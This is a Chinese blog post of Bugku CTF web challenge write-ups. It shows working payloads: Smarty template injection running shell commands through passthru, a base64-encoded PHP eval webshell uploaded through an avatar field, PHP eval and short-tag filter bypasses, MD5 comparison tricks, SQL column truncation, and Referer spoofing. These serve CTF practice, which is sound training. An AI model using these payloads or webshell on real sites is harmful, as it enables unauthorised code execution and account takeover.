Bugku解题 web 【四】

导读:本篇文章讲解 Bugku解题 web 【四】,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录解题过程

28.web19(python requests)

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->
  1. 回显
    在这里插入图片描述
  • payload(python)
import requests  # 引入request库
import base64

url = '''http://114.67.246.176:18501/'''
r = requests.session()  # 用session会话保持表达式
headers = r.get(url).headers

mid = base64.b64decode(headers['flag'])
mid = mid.decode()
flag = base64.b64decode(mid.split(':')[1])
data = {'margin': flag}
print(r.post(url, data).text)
flag{cd9d48a1fc5fc5fdfae185a4d0bb628a}

29.聪明的php(Smarty模板注入)

pass a parameter and maybe the flag file's filename is random :>
http://114.67.246.176:17062/?file=index.php
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{
            $smarty->display("eval:".$value);
        }
        
    }
}
?> 

file index.php
  1. 模板Smarty注入题
    在这里插入图片描述
  2. passthru() 任意命令执行
http://114.67.246.176:17062/?file={passthru(%27more%20/../?*%27)}

在这里插入图片描述

  1. 方法二
常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if} 
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 
smarty中的{if}标签中可以执行php语句
{if passthru('ls')}{/if}
{if passthru('ls -al /')}{/if}

在这里插入图片描述
4. cat被过滤了,可以同tac命令查看文件

{if passthru('tac /start.sh')}{/if}
/usr/bin/tail -f /dev/null	
done
sleep 1000
do
while test "1" = "1"
export T=$RANDOM		# T随机生成数字
FLAG=not_flag
export FLAG=not_flag
chmod 444 /_$T
echo $FLAG > /_$T		# $Flag放入根目录下的_T文件下
T=$RANDOM
export T=$RANDOM
service apache2 start
#!/usr/bin/env bash

view-source:http://114.67.246.176:17062/?file={if passthru('ls -al /')}{/if}

在这里插入图片描述

  • 重点在_7471
  1. 得到flag
{if passthru('tac /_7471')}{/if}

在这里插入图片描述

30.xxx二手交易市场!(上传一句话木马)

描  述: 本人现实碰到的题目,无提示勿问

  1. 先注册一个用户,在用户头像出发现可以上传头像
    在这里插入图片描述

  2. BurpSuite抓包,上传的样式是先把图片变成base64格式的
    在这里插入图片描述
    图片转成base64编码的格式如下:

data:image/jpeg;base64,
  1. 一句话木马转成base64编码,并把后缀改成php上传,在上传后可以看到具体的上传文件的路径
"data":"\/Uploads\/heads\//be2b07218b68a4bf.php",
data:image/php;base64,<?php@eval($_POST[cmd]); ?>

在这里插入图片描述

http://114.67.246.176:19421/Uploads/heads/99cfb146596b31c8.php

在这里插入图片描述

  1. 中国蚁剑连接网站后台查看文件

在这里插入图片描述

!!!一句话木马转成base64编码再发送

<?php @eval($_POST['cmd']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

31.冬至红包(php代码审计、比较绕过)

提  示: 闪电十六鞭
描  述: flag{内容可在支付宝领取口令红包 共三个先解先得}

  • 短标签绕过echo、eval代码注入漏洞、$$绕过特定字符限制
<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

20210221CTF小记之bugkuCTF冬至红包(短标签绕过echo、eval代码注入漏洞、$$绕过特定字符限制)

  • payload
?flag=$a=blag;$a{0}=f;111111111111111111111;?><?=$$a;?>

在这里插入图片描述

32.sodirty

在这里插入图片描述

  1. 目录扫描
    在这里插入图片描述
  2. 下载www.zip
    在这里插入图片描述
#!/usr/bin/env node

/**
 * Module dependencies.
 */

var app = require('../app');
var debug = require('debug')('app:server');
var http = require('http');

/**
 * Get port from environment and store in Express.
 */

var port = normalizePort(process.env.PORT || '3000');
app.set('port', port);

/**
 * Create HTTP server.
 */

var server = http.createServer(app);

/**
 * Listen on provided port, on all network interfaces.
 */

server.listen(port);
server.on('error', onError);
server.on('listening', onListening);

/**
 * Normalize a port into a number, string, or false.
 */

function normalizePort(val) {
  var port = parseInt(val, 10);

  if (isNaN(port)) {
    // named pipe
    return val;
  }

  if (port >= 0) {
    // port number
    return port;
  }

  return false;
}

/**
 * Event listener for HTTP server "error" event.
 */

function onError(error) {
  if (error.syscall !== 'listen') {
    throw error;
  }

  var bind = typeof port === 'string'
    ? 'Pipe ' + port
    : 'Port ' + port;

  // handle specific listen errors with friendly messages
  switch (error.code) {
    case 'EACCES':
      console.error(bind + ' requires elevated privileges');
      process.exit(1);
      break;
    case 'EADDRINUSE':
      console.error(bind + ' is already in use');
      process.exit(1);
      break;
    default:
      throw error;
  }
}

/**
 * Event listener for HTTP server "listening" event.
 */

function onListening() {
  var addr = server.address();
  var bind = typeof addr === 'string'
    ? 'pipe ' + addr
    : 'port ' + addr.port;
  debug('Listening on ' + bind);
}

  • List item

32.web23(php代码审计、比较绕过)

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
  • payload
?id=keyabckeyabcdkey:/a/akeya,

在这里插入图片描述
bugkuCTFweb字符?正则?

33.web24 (代码审计、MD5碰撞、比较绕过)

描  述: 来源 山科大ctf

  • 考点:代码审计、MD5碰撞、比较绕过
  1. 代码审计
    1.1 首页
<html>
<head>
    <title></title>
    <style type="text/css">
    .link {
        text-decoration: none;
        color: #000;
    }
    .link:hover {
        text-decoration: none;
        color: #000;
    }
    </style>
</head>
<body>
<div align="center">
<p>分手了,纠结再三我没有拉黑她,原因无它,放不下。
<p>终于那天,竟然真的等来了她的消息:“在吗?”
<p>我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”
<p>“怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……
<p>“帮我看看这个...”说着,她发来一个<a class="link" href="code.txt" target="_blank">链接</a><p>不忍心拂她的意就点开了链接,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......
<p>。。。。。。
<p>“我到底做错了什么,要给我看这个!”
<p>“还记得你曾经说过。。。。。。。。”
<h2>PHP是世界上最好的语言</h2>
</div>
</body>
</html>

1.2 code.txt

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
strcmp()函数的使用是比较两个字符串,如果两个字符串完全相等我们就返回0,否则就会有各种返回值,此函数并区分大小写
  1. 比较绕过
    v3[] 存在即可,可任意赋值且!=flag即可
    v1[] != v2[]
    md5(

    v

    1

    )

    =

    =

    m

    d

    5

    (

    v1) == md5(

    v1)==md5(v2)

  2. MD5碰撞:
    简而言之就是:先得出一个字符串的MD5值,再根据这个值,逆算出另外一个不同的字符串——但是它们的MD5值是一致的。
    一个用字典法破解MD5、SHA1的网站
  • payload:
/?v1[]=aaa&v2[]=aa&v3[]=iiiii

-

34. web25(SQL约束攻击)

提  示: hint:SQL约束攻击
描  述: skctf

sql约束攻击(SQL Column Truncation)

sql约束攻击:简而言之就是,当Mysql关闭了strict选项时,输入的字符串超出了长度限制,此时的数据库只返回一个warning信息,但数据插入成功。这个原因造成了sql约束攻击,在sql执行字符串处理时,字符串末尾的空格符将会被删除。也就是说”admin”和”admin “是相等的

  1. 注册一个帐号登记时
    在这里插入图片描述

  2. 注册admin时会发现
    在这里插入图片描述

  3. 注册admin + 空格

注册成功
  1. 使用admin + 空格 登录,得到flag:
    在这里插入图片描述

35. web26(伪造referer字段,伪装成来自google)

描  述: google

在这里插入图片描述

  1. 显然要伪装成来自google,使用Postman
    在这里插入图片描述

37. web27(md5碰撞)

描  述: md5 collision
md5碰撞

  1. 尝试
    在这里插入图片描述
    在这里插入图片描述

  2. 这题没给源码,做不出,网上找的源码

<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
	if ($a != 'QNKCDZO' && $md51 == $md52) {
    	echo "nctf{*****************}";
	} else {
    	echo "false!!!";
	}
}
else{
	echo "please input a";
}

?>

找了一个MD5值是0e的就过了

常见的MD5碰撞:md5值为0e开头
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92693.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!